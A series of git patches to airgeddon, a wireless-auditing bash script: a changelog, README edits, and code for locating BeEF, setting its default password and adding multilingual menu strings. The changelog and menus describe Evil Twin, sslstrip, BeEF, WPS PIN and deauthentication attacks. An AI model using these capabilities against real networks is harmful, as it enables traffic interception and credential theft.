+###2.2 + - Changes to manage Wifislax airmon command in a better way + +###2.11 + - More color features + - Compatibility check minor bug fixed + +###2.1 + - Compatibility check at beginning to support more distros + - Changelog file added to project + +###2.03 + - Interface detection method changed + - Fixed bug for Kali 2016.1 + +###2.02 + - Menu titles improvement + - Converted to UTF-8 enconding. Special spanish chars bug fixed + - Some minor code improvements + +###2.01 + - Multilanguage support feature included + - English and Spanish languages added + +###2.0 + - Code restructuration + - WIDS confusion attack added + - Old attacks menu included + - Traps managing feature + +###1.03 + - Secondary xterm windows added + - Explore for targets feature included + - Code improvements + +###1.02 + - Improved echo messages and colors + - Aireplay deauth attack included + - Monitor and managed options added + +###1.01 + - Detect distro functionality included + - Kali and Wifislax Linux compatibility + - Rfkill added + +###1.0 + - Initial commit diff --git a/README.md b/README.md index 99de61deb..aefc68a12 100644 --- a/README.md +++ b/README.md @@ -151,7 +151,7 @@ Airgeddon code is 100% clean of warnings. Use [Shellcheck](https://github.com/ko You can download the master version or the beta testing version from the development branch called `dev`. Sometimes there are other temporary branches for specific features that can be tested too. #Changelog -See [Changelog](changelog.txt) file to review changes. +See [Changelog](CHANGELOG.md) file to review changes. #Special Thanks to **Kcdtv** for French translations, beta testing, suggestions about new features and support received since the beginning.
diff --git a/changelog.txt b/changelog.txt deleted file mode 100644 index d4ea5a155..000000000 --- a/changelog.txt +++ /dev/null @@ -1,305 +0,0 @@ -6.0 -New system for possible tool aliases checking the requirements -Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework -README.md beautified -Colors changed. Now blocking errors in red -License file updated to markdown format -Updated minimum bash version check (v4.2) - -5.14 -Timeout changed while searching for "bad FCS" to avoid problems in old systems -WPS Reaver attacks modified to use --no-nacks (-N) argument -Github issue template updated -Check added to skip intro if not enough window size -Tested compatibility with BlackArch 2016.12.29 - -5.13 -WPS default timeouts changed -WPS parameterizable timeouts, users can decide how many seconds for each WPS attack -More traps handled. Auto restore managed mode on interface after SIGINT/SIGHUP - -5.12 -Fixed bug for wash scanning on reaver 1.5.3. Now new method works for all versions because the version doesn't care anymore - -5.11 -Custom PIN, bruteforce and Pixie Dust WPS attacks integrated in new parser system -Fixed bug for wash scanning on custom reaver 1.5.4 for Wifislax -Some code improvements - -5.1 -Integrated online PIN database for "known WPS PINs attack" (reaver and bully) -Zhao Chunsheng algorithm integrated (computepin) -Stefan Viehböck algorithm integrated (easybox) -Some language strings changed -Fixed bug showing selected charset for hashcat v3.0 on bruteforce offline decrypt attack - -5.01 -WPS bruteforce PIN attacks (reaver and bully) -New system for arm architecture detection -Compatibility extended to Parrot arm version on Raspberry Pi -Some WPS attacks improvements -Compatibility extended for hashcat v3.0 or higher - -5.0 -WPS attacks menu added -WPS scanning based on wash tool. Self-parametrization to avoid "Bad FCS" problem -WPS Custom PIN association -WPS Pixie Dust attacks integrated with reaver and bully -Some code improvements - -4.32 -Some code improvements and refactors. Warnings removed based on shellcheck tool -README.md small modifications -Fix on language menu selecting greek language -Fixed problem on renew_ifaces_and_macs_list function when there are interfaces without mac (like some tunnel interfaces) - -4.31 -Now optionally on Evil Twin captive portal attack you can choose between to have internet access or to use a "dns trick" -Fixed bug writing handshake files on some paths -Added possibility to get back to Evil Twin main menu from the internet interface selection menu - -4.3 -Evil Twin attack added: captive portal -Some language strings changed -Now initial forwarding state is restored on exit -Fix for Linux which change interface name to a very different name while getting back to managed from monitor mode - -4.22 -Portuguese translation updated (Thank you to "Luan") -Paypal donate button added on README.md -Bitcoin hash changed and bitcoin donate button added on README.md -Tested compatibility with Kali Linux 2016.2 - -4.21 -Greek language translation added (Thank you to "xtonousou") - -4.2 -Evil Twin attack added: with integrated sniffing using sslstrip -Evil Twin control window beautified and optimized for small windows - -4.11 -Russian language translation added (Thank you to "MiAl") - -4.1 -Evil Twin attack added: with integrated sniffing -Log parsing for Evil Twin attack with sniffing - -4.03 -Some compatibility improvements for Raspberry Pi Raspbian Linux -Additional check for systems which use airmon-zc, now checks for lspci to avoid errors -Compatibility extended to OpenMandriva Linux -Compatibility extended to Kali arm version on Raspberry Pi - -4.02 -New windows sizes calculation method for better viewing even in small resolutions. Dynamic system -Fixed bug restarting Network Manager on Arch Linux -Fixed bug restarting Network Manager using debug mode on some distros -Suggestion added about possible packet names after failing a dependency check - -4.01 -Fixed bug cleaning temp files for Evil Twin attack - -4.0 -Evil Twin attack added: Only AP to sniff with external sniffer -Created under construction message for non finished menu options -README.md beautified -Screen resolution correction feature added for some distros -Some minor improvements and bugfixes - -3.44 -Screen resolution detection for optimal windows viewing -Some language strings changed -Deleted ods translations file. It was impractical - -3.43 -Function created to generate dynamic separators on menus -Some language strings changed - -3.42 -Compatibility extended to Arch Linux -Compatibility extended to Raspbian Linux for Raspberry Pi -Additional check for systems which use airmon-zc, now checks for ethtool to avoid errors -Portuguese language translation added -Auto-update can be disabled using a var (useful for repositories versions) -Auto change language feature can be disabled using a var - -3.41 -Show network cards chipset while selecting interface -Some language strings changed -License updated to GPL3+ -Added Open Document SpreadSheet for easy translation to be used by collaborating translators -System of prefixes and colors for hints and strings pending of translation [PoT] - -3.4 -Improved regexp to get new interface names after a change -Fixed bug managing paths containing blank spaces -New feature, drag and drop files on console window to entering file paths -New offline decrypting attacks based on cpu hashcat (dictionary, bruteforce and rule based) -Debug mode for faster development skipping intro and initial checks -Bash version check improved for future versions -Exit script code changes to differentiate when script was interrupted - -3.34 -Ascii art intro added on script startup (animated flying saucer!!) -Bug fixed after putting card in monitor mode and the card name changed on some distros -Compatibility extended to Gentoo, Fedora and Red Hat Linux - -3.33 -Bug fixed relaunching script after donwload a new version -Credits beautified -Known compatible distros unified in one array -"No check kill needed" feature method changed. Now based on Network Manager version -Changes on rfkill method - -3.32 -Bash version check simplified -Bug with long interface names fixed -Changed trap management, now with buffered messages -Curl removed from essential tools. Now the script performs a separated check for update tools only used for auto-update -Compatibility extended to CentOS Linux - -3.31 -Check for root permissions after failed essential tools check -Improved missing optional tools detection method and integration with menus -Menu separator lines extracted to functions - -3.3 -SIGTSTP trap now handled -Minimum bash version check (v4) -Some language strings changed -Non Linux OS check added (Solaris, FreeBSD, OSX) -Compatibility extended to OpenSUSE Linux -README.md updated about Mac OSX incompatibility -Improved OS language detection method -Fixed bug in auto-update - -3.23 -Compatibility extended to Cyborg Hawk Linux -Needed tools divided, essential and optional. Script can run now with essential tools even without some of the optional tools -Changed "No check kill needed" feature method. Now improved for Kali and Wifislax future versions -Bug fixed while checking for updates on slow connections -README.md beautified - -3.22 -Cleaning handshake files now perform some checks to avoid corruption file problem -Capture files are checked before cracking looking for Handshakes and easy targeting -Fixed bug checking existence of files - -3.21 -Auto-update feature. Script checks for newer version -Some language strings changed - -3.2 -New offline password decrypt menu -Aircrack option to perform dictionary/bruteforce attacks against capture files -Removed autoclean after capturing a Handshake file -Changed version var to airgeddon_version for future version check (auto-update feature) - -3.11 -Optional autoclean captured Handshake file feature -Some language strings changed - -3.1 -Restoring initial state of cards on exit feature -"No check kill needed" feature added while putting card in monitor mode for some distros -Fixed bug checking tools - -3.02 -Cleaning tasks on exit -Minor code refactor -Some language strings changed -Hint method improved - -3.01 -Handshake tools menu added -Handshake capture feature -Handshake cleaning/optimizing feature -Random helping hints added (regarding the script zone) - -3.0 -New menus, new structure -New Handshake features preparation (not working yet in this revision) -Code normalization - -2.33 -Catalan language translation added (Thank you to "El Padrino") - -2.32 -Autodetect OS language feature added -Some language strings changed - -2.31 -French language translation added (Thank you to "Kcdtv") -Only one network autoselect bug fixed - -2.3 -Compatibility extended to Parrot, Blackarch and Backbox Linux -Essential tools check improved -Distro compatibility check improved -Iwconfig use fix based on version -Pink color added - -2.23 -Read "pause" functions now integrated with language strings -Title generator extracted to function -Improvements on colors -Changelog order changed. New changes now upper - -2.22 -Minor print fail in ascii art at credits fixed -Disclaimer and requirements updated -Some typo errors fixed -Changes on compatibility check structure -Ubuntu and Debian Linux compatibility check added - -2.21 -Wifislax 64bits compatibility bug fixed -Removed version from Readme file - -2.2 -Changes to manage Wifislax airmon command in a better way - -2.11 -More color features -Compatibility check minor bug fixed - -2.1 -Compatibility check at beginning to support more distros -Changelog file added to project - -2.03 -Interface detection method changed -Fixed bug for Kali 2016.1 - -2.02 -Menu titles improvement -Converted to UTF-8 enconding. Special spanish chars bug fixed -Some minor code improvements - -2.01 -Multilanguage support feature included -English and Spanish languages added - -2.0 -Code restructuration -WIDS confusion attack added -Old attacks menu included -Traps managing feature - -1.03 -Secondary xterm windows added -Explore for targets feature included -Code improvements - -1.02 -Improved echo messages and colors -Aireplay deauth attack included -Monitor and managed options added - -1.01 -Detect distro functionality included -Kali and Wifislax Linux compatibility -Rfkill added - -1.0 -Initial commit From 24990eb6073b0328ab6f79f64528fbdeb05e900b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 22:34:26 +0100 Subject: [PATCH 21/55] Updated Readme about wps pin updating and some minor changes --- README.md | 29 ++++++++++++++++------------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index aefc68a12..04ba517ed 100644 --- a/README.md +++ b/README.md @@ -32,7 +32,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
+Bash version 4.2 or later needed. Tested on these compatible Linux distros:
*-Kali 2.0, 2016.1, 2016.2 and arm versions (Raspberry Pi)*
@@ -57,9 +57,9 @@ Airgeddon is already included in some Linux distros and repositories: - BlackArch first 2017 release or later. - ArchStrike repository. -Anyway, can be used with any Linux distro if you have installed the tools what script needs. The script checks for them at the beginning.
+Anyway, can be used with any Linux distro if you have installed the tools what script needs. The script checks for them at the beginning. -We will enumerate the categories and tools. The command can be included in different packages depending of the distro.
+We will enumerate the categories and tools. The command can be included in different packages depending of the distro. **Essential tools**: <- *the script doesn't work if you don't have installed all of them* @@ -106,7 +106,7 @@ Is highly recommended to have the internal tools installed. They improve functio Impossible compatibility for Mac OSX at the moment. Some reasons:
*-Bash version* <- it can be avoided upgrading to 4 or later, this is not the real problem :smile:
*-Aircrack suite* <- this suite for OSX doesn't support airodump and aireplay
-*-Wireless tools* <- iwconfig doesn't exists for OSX, and airport command can't be used. It generates very different outputs
+*-Wireless tools* <- iwconfig doesn't exists for OSX, and airport command can't be used. It generates very different outputs Incompatible with OpenBSD and FreeBSD. They are Unix systems but they have some differences with Linux:
*-Bash* <- They have no bash. It can be installed, this is not the real problem again :sweat_smile:
@@ -129,7 +129,7 @@ If you launch the script using sh and a *"Syntax error"* appears, launch it with ![Catalan][catalan] Catalan
![Portuguese][portuguese] Portuguese
![Russian][russian] Russian
-![Greek][greek] Greek
+![Greek][greek] Greek #Project Collaboration You can join the project:
@@ -139,32 +139,35 @@ You can join the project:
-Testing and feedback is needed too.
*For collaborating translators:*
-You can take the strings to translate from the code. All the stuff to translate is in "language_strings" function. Ask by mail if you have any doubt. You'll be informed about you how to proceed, you can be added as a collaborator on the project.
+You can take the strings to translate from the code. All the stuff to translate is in "language_strings" function. Ask by mail if you have any doubt. You'll be informed about you how to proceed, you can be added as a collaborator on the project. *For collaborating developers:*
Debug mode was implemented for faster development skipping intro and initial checks. Use it setting var *"debug_mode"* to 1
Please, respect the tab indentation, code style and the UTF-8 files format only using at the end of the lines LF (not CRLF).
Direct push on master is not allowed, and pull requests require revision and approvement.
-Airgeddon code is 100% clean of warnings. Use [Shellcheck](https://github.com/koalaman/shellcheck) to search for errors and warnings on code. <- Thanks xtonousou for the tip :wink:
+Airgeddon code is 100% clean of warnings. Use [Shellcheck](https://github.com/koalaman/shellcheck) to search for errors and warnings on code. <- Thanks xtonousou for the tip :wink: *For beta testers:*
You can download the master version or the beta testing version from the development branch called `dev`. Sometimes there are other temporary branches for specific features that can be tested too. +*For WPS PIN database collaborators:*
+The pins must be strictly ordered by key in the array. Keys are the first 6 bssid digits. After updating the "known_pins.db" file, you must update too "pindb_checksum.txt" with the calculated checksum of the database file. This checksum is done using md5sum tool. + #Changelog See [Changelog](CHANGELOG.md) file to review changes. -#Special Thanks to +#Credits & Special Thanks **Kcdtv** for French translations, beta testing, suggestions about new features and support received since the beginning.
**USUARIONUEVO** for helping me to improve the script, suggestions about new features and for the support received.
**El padrino** and **cLn** for Catalan translations.
**Luan** for Portuguese translations.
**MiAl** for Russian translations.
-**xtonousou** for Greek translations, beta testing, suggestions, the help received fixing code warnings and other stuff.
+**xtonousou** for Greek translations, beta testing, suggestions, the help received fixing code warnings and other stuff. Thanks to the "Spanish pentesting crew", the Wifislax staff, the BlackArch community, the Seguridadwireless.net, Wifi-libre.com and Lampiweb.com forum people that helped me.
Thanks to the Hackware.ru admins. Thanks to all the people who helped me building the online PIN database for WPS. Thank you to Dominique Bongard for bringing to us Pixie Dust attacks. Thanks to Zhao Chunsheng and Stefan Viehböck for their wonderful algorithms.
-I want to thank you too, to all developers who made and designed the third-party tools airgeddon uses.
-
+I want to thank you too, to all developers who made and designed the third-party tools airgeddon uses. + Thank you too to other authors who inspired me with their scripts:
*vk496 -> Linset*
*MI1 -> Airstorm*
@@ -176,8 +179,8 @@ Thank you too to other authors who inspired me with their scripts:
#Donate If you enjoyed the script, feel free to give a donation. Invite me to a coffee through Paypal or send me a fraction of a bitcoin:
Paypal: *v1s1t0r.1s.h3r3@gmail.com*
-Bitcoin: *1AKnTXbomtwUzrm81FRzi5acSSXxGteGTH*
-
+Bitcoin: *1AKnTXbomtwUzrm81FRzi5acSSXxGteGTH* + [![paypal][paypal]](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=7ELM486P7XKKG)   [![bitcoin][bitcoin]](https://blockchain.info/address/1AKnTXbomtwUzrm81FRzi5acSSXxGteGTH) From c2478aedc62e8ee8286fed59936a1a6bc0a95558 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 22:50:20 +0100 Subject: [PATCH 22/55] Some texts changed/added to Readme file --- README.md | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 04ba517ed..ac76115e3 100644 --- a/README.md +++ b/README.md @@ -34,6 +34,8 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
*-Kali 2.0, 2016.1, 2016.2 and arm versions (Raspberry Pi)*
*-Wifislax 4.11.1, 4.12 and 64-1.0*
@@ -57,8 +59,6 @@ Airgeddon is already included in some Linux distros and repositories: - BlackArch first 2017 release or later. - ArchStrike repository. -Anyway, can be used with any Linux distro if you have installed the tools what script needs. The script checks for them at the beginning. - We will enumerate the categories and tools. The command can be included in different packages depending of the distro. **Essential tools**: <- *the script doesn't work if you don't have installed all of them* @@ -102,6 +102,8 @@ We will enumerate the categories and tools. The command can be included in diffe | rfkill | rfkill | Is highly recommended to have the internal tools installed. They improve functionality and performance. For example, xdpyinfo allow the script to detect the desktop resolution in order to print windows in a better way (size and position). +Of course, the script also uses many standard basic commands that are understood to come with any Linux distro, so they are not checked (cp, rm, grep, pgrep, egrep, md5sum, uname, echo, hash, cat, sleep, etc...). + #Known incompatibilities Impossible compatibility for Mac OSX at the moment. Some reasons:
*-Bash version* <- it can be avoided upgrading to 4 or later, this is not the real problem :smile:
@@ -132,11 +134,13 @@ If you launch the script using sh and a *"Syntax error"* appears, launch it with ![Greek][greek] Greek #Project Collaboration -You can join the project:
--Translations to other languages are welcome.
--More distros support compatibility.
--New features.
--Testing and feedback is needed too.
+You can join the project: + + - Translations to other languages are welcome. + - More distros support compatibility. + - New features. + - More WPS pins for the database. + - Testing and feedback is needed too. *For collaborating translators:*
You can take the strings to translate from the code. All the stuff to translate is in "language_strings" function. Ask by mail if you have any doubt. You'll be informed about you how to proceed, you can be added as a collaborator on the project. @@ -157,6 +161,8 @@ The pins must be strictly ordered by key in the array. Keys are the first 6 bssi See [Changelog](CHANGELOG.md) file to review changes. #Credits & Special Thanks +Thank you to: + **Kcdtv** for French translations, beta testing, suggestions about new features and support received since the beginning.
**USUARIONUEVO** for helping me to improve the script, suggestions about new features and for the support received.
**El padrino** and **cLn** for Catalan translations.
From e27bddf657ded5a3f06220783afb31d6adde5325 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 15 Jan 2017 13:52:24 +0100 Subject: [PATCH 23/55] Fix password problem to access BeEF control panel on installations on which airgeddon can't locate the real path of BeEF --- airgeddon.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index c28cc13ea..4d53861b2 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -6833,7 +6833,10 @@ function exec_et_sniffing_sslstrip2_attack() { if [ "${beef_found}" -eq 1 ]; then set_beef_config else - beef_pass="beef" + new_beef_pass="beef" + et_misc_texts[${language},27]=${et_misc_texts[${language},27]/${beef_pass}/${new_beef_pass}} + beef_pass="${new_beef_pass}" + fi launch_beef launch_bettercap_sniffing From 77760aaf4a3b440d582a0c19ad72ae866ffd1494 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 15 Jan 2017 19:37:56 +0100 Subject: [PATCH 24/55] Tested compatibility with OpenSUSE 42.2 --- CHANGELOG.md | 1 + README.md | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1830057bc..a4281a56f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,7 @@ - Colors changed. Now blocking errors in red - License and changelog files updated to markdown format - Updated minimum bash version check (v4.2) + - Tested compatibility with OpenSUSE 42.2 ###5.14 - Timeout changed while searching for "bad FCS" to avoid problems in old systems diff --git a/README.md b/README.md index ac76115e3..2c5fb6f23 100644 --- a/README.md +++ b/README.md @@ -45,7 +45,7 @@ Tested on these compatible Linux distros:
*-Cyborg Hawk 1.1*
*-Debian 7 (Wheezy) and 8 (Jessie)*
*-Ubuntu/Xubuntu 15.10, 16.04 and 16.04.1*
-*-OpenSUSE Leap 42.1*
+*-OpenSUSE Leap 42.1 and 42.2*
*-CentOS 6 and 7*
*-Gentoo 20160514 and 20160704*
*-Fedora 24*
From 776a5a926c888a43e2a651758c2a5421da25c9de Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 17 Jan 2017 21:40:28 +0100 Subject: [PATCH 25/55] Created special submenu for BeEF including option to solve validation problems on manually installed BeEFs --- airgeddon.sh | 305 +++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 272 insertions(+), 33 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 4d53861b2..7ce84205d 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -187,7 +187,6 @@ possible_beef_known_locations=( "/usr/share/beef/" "/usr/share/beef-xss/" "/opt/beef/" - "/usr/local/bin/" ) #Distros vars @@ -225,6 +224,7 @@ declare select_interface_hints=(246) declare language_hints=(250) declare evil_twin_hints=(254 258 264 269 309 328 400) declare evil_twin_dos_hints=(267 268) +declare beef_hints=(408) declare wps_hints=(342 343 344 356 369 390) #Charset vars @@ -2053,14 +2053,13 @@ function language_strings() { arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." - #TODO re-use this unused 191 - arr["ENGLISH",191]="Capture file you selected is an unsupported file format (not a pcap or IVs file)" - arr["SPANISH",191]="El fichero de captura que has seleccionado tiene un formato no soportado (no es un fichero pcap o de IVs)" - arr["FRENCH",191]="Le fichier de capture que vous avez sélectionné est dans un format non supporté (ce n'est pas un fichier pcap ou IVs)" - arr["CATALAN",191]="El fitxer de captura que has seleccionat té un format no suportat (no és un fitxer pcap o de IVs)" - arr["PORTUGUESE",191]="O arquivo de captura selecionado tem um invalido (não é um arquivo pcap ou IVs)" - arr["RUSSIAN",191]="Файл захвата, который вы выбрали, в неподдерживаемом формате (это не файл pcap или IVs)" - arr["GREEK",191]="Η επέκταση του αρχείου καταγραφής που έχετε επιλέξει δεν υποστηρίζεται (δεν είναι pcap ούτε IVs αρχείο)" + arr["ENGLISH",191]="Airgeddon can't find the directory path where you have BeEF installed. Do you want to enter it manually? ${normal_color}[y/n]" + arr["SPANISH",191]="Airgeddon no ha podido encontrar la ruta del directorio donde tienes instalado BeEF. ¿Quieres introducirla manualmente? ${normal_color}[y/n]" + arr["FRENCH",191]="${pending_of_translation} Airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. Voulez-vous entrer manuellement? ${normal_color}[y/n]" + arr["CATALAN",191]="${pending_of_translation} Airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ¿Vols introduir-la manualment? ${normal_color}[y/n]" + arr["PORTUGUESE",191]="${pending_of_translation} Airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. Você quer inseri-lo manualmente? ${normal_color}[y/n]" + arr["RUSSIAN",191]="${pending_of_translation} Airgeddon не может найти путь к каталогу, где вы установили BeEF. Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" + arr["GREEK",191]="${pending_of_translation} Airgeddon δεν μπορεί να βρει το δρόμο κατάλογο όπου έχετε εγκαταστήσει το BeEF σας. Θέλετε να το εισάγετε με το χέρι; ${normal_color}[y/n]" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" arr["SPANISH",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura [${normal_color}${bssid}${blue_color}]" @@ -3742,6 +3741,102 @@ function language_strings() { arr["RUSSIAN",401]="${pending_of_translation} Пакет beef вы установили не BeEF (Browser Exploitation Framework). У вас есть Beef (Flexible Brainfuck interpreter) установлен. Оба исполняемые файлы имеют одинаковое имя и может привести к путанице. Удалите его и установить, что airgeddon потребности, если вы хотите использовать эту функцию. Инструкция по установке: ${beef_installation_url}" arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" + arr["ENGLISH",402]="Enter the absolute path of the directory where BeEF is installed :" + arr["SPANISH",402]="Introduce la ruta absoluta del directorio donde está instalado BeEF :" + arr["FRENCH",402]="${pending_of_translation} Entrez le chemin absolu du répertoire où BeEF est installé :" + arr["CATALAN",402]="${pending_of_translation} Introdueix la ruta absoluta del directori on està instal·lat BeEF :" + arr["PORTUGUESE",402]="${pending_of_translation} Digite o caminho absoluto do diretório onde BeEF está instalado :" + arr["RUSSIAN",402]="${pending_of_translation} Введите абсолютный путь к каталогу, в котором установлен BeEF :" + arr["GREEK",402]="${pending_of_translation} Πληκτρολογήστε την απόλυτη διαδρομή του καταλόγου όπου έχει εγκατασταθεί το BeEF :" + + arr["ENGLISH",403]="The directory you entered doesn't exist" + arr["SPANISH",403]="El directorio introducido no existe" + arr["FRENCH",403]="${pending_of_translation} N'existe pas le répertoire entré" + arr["CATALAN",403]="${pending_of_translation} El directori introduït no existeix" + arr["PORTUGUESE",403]="${pending_of_translation} O diretório digitado não existe" + arr["RUSSIAN",403]="${pending_of_translation} Каталог, который вы ввели, не существует" + arr["GREEK",403]="${pending_of_translation} Ο κατάλογος που δώσατε δεν υπάρχει" + + arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" + arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" + arr["FRENCH",404]="${pending_of_translation} Le chemin d'accès entré est pas absolue. Un chemin absolu doit toujours commencer par \"/\"" + arr["CATALAN",404]="${pending_of_translation} La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" + arr["PORTUGUESE",404]="${pending_of_translation} O caminho digitado não é absoluta. Um caminho absoluto deve sempre começar com \"/\"" + arr["RUSSIAN",404]="${pending_of_translation} Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" + arr["GREEK",404]="${pending_of_translation} Η τέθηκε διαδρομή δεν είναι απόλυτη. Μια απόλυτη διαδρομή πρέπει πάντα να αρχίζει με \"/\"" + + arr["ENGLISH",405]="Checking BeEF..." + arr["SPANISH",405]="Comprobando BeEF..." + arr["FRENCH",405]="${pending_of_translation} Vérification BeEF..." + arr["CATALAN",405]="${pending_of_translation} Comprovant BeEF..." + arr["PORTUGUESE",405]="${pending_of_translation} Verificando BeEF..." + arr["RUSSIAN",405]="${pending_of_translation} проверка BeEF..." + arr["GREEK",405]="${pending_of_translation} Ελεγχος BeEF..." + + arr["ENGLISH",406]="No BeEF executable was detected in given directory" + arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" + arr["FRENCH",406]="${pending_of_translation} Il n'a pas détecté un BeEF exécutable dans le répertoire spécifié" + arr["CATALAN",406]="${pending_of_translation} No s'ha detectat un executable de BeEF al directori indicat" + arr["PORTUGUESE",406]="${pending_of_translation} Não detectou um BeEF executável no diretório especificado" + arr["RUSSIAN",406]="${pending_of_translation} Ни один исполняемый файл BeEF не был обнаружен в заданной директории" + arr["GREEK",406]="${pending_of_translation} Δεν BeEF εκτελέσιμο ανιχνεύθηκε σε συγκεκριμένο κατάλογο" + + arr["ENGLISH",407]="BeEF preparation" + arr["SPANISH",407]="Preparación BeEF" + arr["FRENCH",407]="${pending_of_translation} Préparation BeEF" + arr["CATALAN",407]="${pending_of_translation} Preparació BeEF" + arr["PORTUGUESE",407]="${pending_of_translation} Preparação BeEF" + arr["RUSSIAN",407]="${pending_of_translation} подготовка BeEF" + arr["GREEK",407]="${pending_of_translation} προετοιμασία BeEF" + + arr["ENGLISH",408]="If you installed BeEF manually, Airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" + arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que Airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" + arr["FRENCH",408]="${pending_of_translation} Si BeEF installé manuellement, vous pouvez Airgeddon ne pas être en mesure de trouver et de l'option d'attaque apparaîtra restreinte. Vous pouvez essayer de le réparer en utilisant l'option de menu spécial pour cela. Cela ne fonctionnera que si BeEF est déjà installé avec succès et le seul problème que vous avez est que le script ne détecte pas" + arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que Airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" + arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não Airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" + arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, Airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" + arr["GREEK",408]="${pending_of_translation} Εάν έχετε εγκαταστήσει το BeEF με το χέρι, Airgeddon μπορεί να μην είναι σε θέση να το βρείτε και την επιλογή επίθεση μπορεί να εμφανιστεί ως περιορισμένη. Μπορείτε να προσπαθήσετε να το λύσετε χρησιμοποιώντας την ειδική επιλογή μενού για να διορθώσετε αυτό. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μοναδικό πρόβλημά σας είναι το σενάριο δεν είναι αυτό που ανιχνεύει" + + arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" + arr["SPANISH",409]="1. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" + arr["FRENCH",409]="1. Attaque Evil Twin avec capture des données et bettercap-sslstrip2/BeEF" + arr["CATALAN",409]="1. Atac Evil Twin AP amb sniffing i bettercap-sslstrip2/BeEF" + arr["PORTUGUESE",409]="1. Ataque Evil Twin AP com sniffing e bettercap-sslstrip2/BeEF" + arr["RUSSIAN",409]="1. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" + arr["GREEK",409]="1. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" + + arr["ENGLISH",410]="2. Try to troubleshoot manually installed BeEF dependency problem" + arr["SPANISH",410]="2. Intentar solucionar problema de dependencia BeEF instalado manualmente" + arr["FRENCH",410]="${pending_of_translation} 2. Essayez de résoudre BeEF problème de dépendance installé manuellement" + arr["CATALAN",410]="${pending_of_translation} 2. Intentar solucionar problema de dependència BeEF instal·lat manualment" + arr["PORTUGUESE",410]="${pending_of_translation} 2. Tente resolver BeEF problema de dependência instalado manualmente" + arr["RUSSIAN",410]="${pending_of_translation} 2. Попробуйте устранить проблему вручную установлена зависимость BeEF" + arr["GREEK",410]="${pending_of_translation} 2. Προσπαθήστε να αντιμετωπίσετε εγκατασταθεί χειροκίνητα το πρόβλημα της εξάρτησης από το BeEF" + + arr["ENGLISH",411]="3. Return to Evil Twin attacks menu" + arr["SPANISH",411]="3. Volver al menú de ataques Evil Twin" + 